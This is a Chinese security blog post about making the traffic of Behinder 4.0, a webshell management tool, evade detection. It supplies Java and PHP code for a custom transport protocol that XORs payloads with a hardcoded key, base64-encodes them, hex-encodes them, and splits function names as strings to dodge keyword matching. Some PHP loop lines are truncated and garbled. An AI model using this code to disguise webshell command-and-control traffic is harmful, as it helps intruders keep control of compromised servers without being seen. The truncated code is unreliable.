冰蝎流量免殺初探
VSole2022-12-20 09:11:06
0x01 前言
冰蝎4.0發布以后,可以自定義傳輸協議了,也就是我們能對流量進行改造,本文依據rebeyond大佬文章對冰蝎流量進行改造,記錄一下踩過的坑。
https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
冰蝎傳輸協議模塊
分為本地和遠程,其中本地模塊只能用java進行編寫,遠程模塊根據webshell的語言類型進行編寫,比如java、php、asp,全部編寫好后要生成服務端,也就是生成我們自己的webshell,用生成后的webshell進行連接。

借用大佬的圖說明一下加解密流程

整體流量加解密流程為先對payload進行base64,再轉成十六進制,具體函數往下看。
0x02 加解密過程
1、本地加密函數
private byte[] Encrypt(byte[] data) throws Exception{ //傳入一個字節數組data,對data依據key進行按位異或 String key="e45e329feb5d925b"; for (int i = 0; i < data.length; i++) { data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15])); } //先轉換成base64,利用反射調用base64編碼 byte[] encrypted = null; Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod( "encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod( "encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); result=result.replace("", "").replace("\r", ""); encrypted=result.getBytes(); }
//再改寫成hex,利用DatatypeConverter類的printHexBinary()方法進行轉換 Object obj = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); /* 這里返回了一個Object類型,雖然encrypted定義的是字節數組, 但是這里傳進去的時候不知道為什么報的是Object,所以定義一個Object來接收。 這里用printHexBinary()把base64字符串轉成16進制字符串, printHexBinary()接收一個byte數組, printHexBinary()是一個靜態方法,invoke第一個參數可以傳入null, */ obj = clazz.getDeclaredMethod("printHexBinary",new Class[]{byte[].class}).invoke(null,encrypted); }catch (Throwable error){ System.out.println(error); } //因為要求返回字節數組,所以這里先把Object轉成字符串,再轉成字節數組,好像不能直接由object轉byte byte[] encrypted_hex = obj.toString().toLowerCase().getBytes(); return encrypted_hex; }
2、本地解密函數
private byte[] Decrypt(byte[] data) throws Exception { //從十六進制轉回base64 String decrypted_hex = new String(data); byte[] decrypted_base = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); /* 這里用parseHexBinary()把16進制字符串轉回base64字符串 parseHexBinary()接收16進制字符串,轉回正常字符串 parseHexBinary()是靜態方法,invoke第一個參數可以為空 */ decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary",String.class).invoke(null,decrypted_hex); }catch (Throwable error){ System.out.println(error); }
//從base64轉回正常字符串
byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)});
} String key="e45e329feb5d925b"; for (int i = 0; i < decodebs.length; i++) { decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15])); } return decodebs; }
可以先看一下本地加密的效果

至此,本地加解密函數完成,下一步我們研究webshell怎么寫。因為本文研究流量免殺,webshell的免殺在此處不做討論。
3、遠程加密函數
function Encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode"; $after=$bs($data."");
return bin2hex($after);//base64后轉16進制}
4、遠程解密函數
function Decrypt($data){ $key="e45e329feb5d925b"; $bs="base64_"."decode"; $after=$bs(pack('H*',$data)."");//先解出16進制,再base64解碼 for($i=0;$i $after[$i] = $after[$i]^$key[$i+1&15]; }
return $after;}
0x03 效果
先生成服務端,生成我們自己的webshell

連接webshell

用burp抓包看一下流量

0x04 總結
本次加解密流程為先base64,再轉成16進制字符串。先轉成base64主要是為了保護原始payload,以免在從十六進制轉回原payload的過程中發生遞歸解析,將原payload中的十六進制字符串也一并解析了。
本文僅針對冰蝎流量改造進行初步探討,熟悉一下整個流程,真的要繞流量設備,估計還需要其他的技巧。
VSole
網絡安全專家